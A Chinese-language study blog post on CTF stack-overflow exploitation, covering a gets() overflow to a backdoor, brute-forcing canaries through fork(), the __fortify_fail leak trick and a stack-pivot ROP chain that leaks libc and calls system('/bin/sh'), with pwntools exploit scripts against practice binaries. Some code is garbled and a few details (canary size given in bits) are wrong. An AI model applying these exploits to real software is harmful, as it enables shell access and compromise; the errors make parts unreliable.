pwn-栈溢出学习
非系统化学习,学到什么便记录下来

在这里面有一个危险函数gets,在c语言中可以读取用户输入,但是不限制输入长度
点击v4能进入查看main函数的栈帧情况也就是局部的一个栈的布局

这里面可以看到db是define byte即按字节定义数据,db16也就是16字节dup则是duplicate(重复)也就是有16个未知的字节
很明显var_10就是缓冲区
s是saved regestier 一般是保存的rbp也就是原来函数的栈帧基准
r是return address就是返回地址
这道题中发现了一个函数backdoor直接调用了system(/bin/sh),所以把r覆盖掉,到backdoor函数即可获得shell。得到脚本
from pwn import * p=process("./overflow")//加载进程 backdoor=0x400677//后门函数地址 payload='a'*0x18+p64(backdoor)//构造payload0x18也就是24个a,从而覆盖掉缓冲区和rbp的地方来到r,p64()可以把后门地址处理为八字节格式的二进制数据 p.recvuntil("Yoursuggestion:\n")//一直读程序输出,直到读到 "Yoursuggestion:\n" 这一段为止,保证数据进入时机正确 p.sendline(payload)//把刚才构造好的 payload 发给程序,并自动在末尾加一个换行 p.interactive()//当前脚本和目标程序之间的连接,切换成“你手动接管”的交互模式。当执行到后门函数的时候就可以手动进行交互来获取flag了
开启canary:
glibc2.23以前
__fortify_fail报错函数,
这个函数会报错函数名,如果栈溢出允许长度足够长,可以通过把flag地址覆盖到此处,达到读取任意内容
fork()
这是一个由作者写进去的函数,用来维持交互,此函数用来创建新的进程的系统调用
调用它之后,会产生一个“子进程”;子进程最初几乎是父进程的副本,但有自己独立的进程 ID,父子进程都会从 fork() 返回后的下一条语句继续执行。
在父进程里,fork() 返回子进程的 PID
在子进程里,fork() 返回 0
如果创建失败,返回 -1
这样的情形非常适合用来爆破canary
canary一般是一个word的长度,32位的程序就是32位canary也就是4比特,64位程序就是8比特,一般在末尾有00, 换成小端序表示的话00会在低地址,这样的设计防止了一些函数
strcpy
gets
sprintf
等的输出,遇到\0 后会自动停止,下面是一个利用脚本
from pwn import *
设置日志级别为debug,便于调试和查看过程中的详细信息
context.log_level = 'debug'
启动目标程序并与其进行交互
p = process('./test4-2')
elf = ELF('./test4-2') # 加载ELF文件
向目标程序发送提示信息
p.recvuntil('Input your name:\n')
初始化canary为一个空的'\x00'字符
canary = '\x00'
从0到100的范围内进行7次迭代
for j in range(7):
# 在每次迭代中,发送一定的字符,并逐个猜测canary的字节
for i in range(0x100):
# 构造一个字符串,发送给程序,带有canary当前猜测的字节
p.send('a'*0x28 + canary + chr(i))
# 接受程序的响应,直到看到'Good',表示canary猜测正确
a = p.recvuntil('Input your name:\n')
# 如果接收到'Good',说明猜测的字节正确,继续下一字节
if 'Good' in a:
canary += chr(i) # 将猜测的字节加到canary中
print(hex(u64(canary.ljust(8, '\x00')))) # 打印出当前猜测的canary值(以16进制表示)
break # 退出当前循环,开始猜下一个字节
最后打印出完整的canary值
print(hex(u64(canary)))
构造payload,将泄露的canary与其他数据拼接,进行最终攻击
p.sendline('a'0x28 + canary + 'a'8 + p64(0x400889)) # 这里的0x400889是目标函数的地址(例如ret2libc等)
进入交互模式,等待用户输入
p.interactive()
看一道2018年网鼎杯的题目guess
checksec之后发现开了canary和nx
nx是No eXecute,也就是执行禁止禁止注入shellcode在堆栈中,无法执行恶意代码,
PIE内存布局随机化,将各个代码段、数据段、堆栈、共享库,程序的各个部分放在不同的内存中,增加了攻击的难度

这里面输入错误三次就会退出,决定了无法通过爆破canary的方法进行,那就尝试一下通过__fortify_fail函数修改
argv[0]来报错输出flag
stack pivot栈迁移技巧
下面有一个示例代码

核心代码大概是
char buf[216];//定义了一个216字节的缓冲区
unsigned __int64 v2;
v2 = __readfsqword(0x28u);//这一步是在读取canary的值,因为在 x86_64 Linux 下,FS 段寄存器通常指向 线程本地存储(TLS),而 FS:0x28 这个固定偏移 在 glibc 的实现里正好就是保存 stack canary / stack_guard 的位置。
read(0, buf, 0xF0uLL);//从标准输入中读取240字节到buf,但是buf只有216,所以会溢出
puts(buf);把buf当成字符串打印出来
read(0, buf, 0xF0uLL);//再次读取240字节到buf这是给攻击者第二次攻击机会
return __readfsqword(0x28u) ^ v2;这是canary检查的一部分
这道题目开了NX,和Canary
攻击思路:
一、利用第一次read和puts泄露canary和一个栈地址,用canary来绕过栈保护,栈地址用来定位buffer做栈迁移
二、接着构造rop泄露libc地址
puts(puts@got);
return main;
三、然后回到main函数调用通过libc地址推算出的system(/bin/sh/)
p.send('a'0xd5+'bbbb')
p.recvuntil('bbbb')
recvs = p.recv(13)
canary = u64(recvs[:7].rjust(8,'\x00'))
stack = u64(recvs[7:].ljust(8,'\x00'))-0xf0-8
这里是攻击脚本,这里填充满之后还多了一个b,这是为了覆盖canary的第一个/00字节,防止puts遇到/00停止,同时bbbb也有定位的作用,然后就得到了canary,和泄露出来的rbp,然后rbp需要剪掉偏移得到真实可控的buffer地址。//这里为什么减去这个偏移需要再了解一下
payload += p64(canary) + p64(stack) + p64(leave)然后做栈迁移,恢复canary,把saved rbp改为stack 然后把返回地址写成leave;ret,这里leave就是
mov rsp,rbp
pop rbp
这里就实现了
rsp=rbp
rip=(rsp)=rbp
这会让程序从buffer里取地址来执行
接下来pop rdi
这一步是从栈顶拿一个值给rdi,因为rdi是函数的第一个参数,所以要想执行puts(x),就要先让rdi=x
然后攻击代码是payload = p64(prdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main)
相当于在buffer中放了
[ pop rdi ]
[ puts@got ]//got表项的地址
[ puts@plt ]//程序调用puts的地址
[ main ]//回到main函数进行下一步操作
这里有一个知识点,如果泄露了libc的具体地址,知道libc版本的情况下可以根据固定偏移推算出其他函数入口的实际地址
payload2 = p64(prdi)+p64(libc.search('/bin/sh\x00').next())+p64(libc.sym['system'])
[ pop rdi ]
[ "/bin/sh" ]
[ system ]
pop rdi
然后把地址放进去
然后ret 到system,于是拿到shell。至此本题结束,这也是一个栈迁移的经典例子
浙公网安备 33010602011771号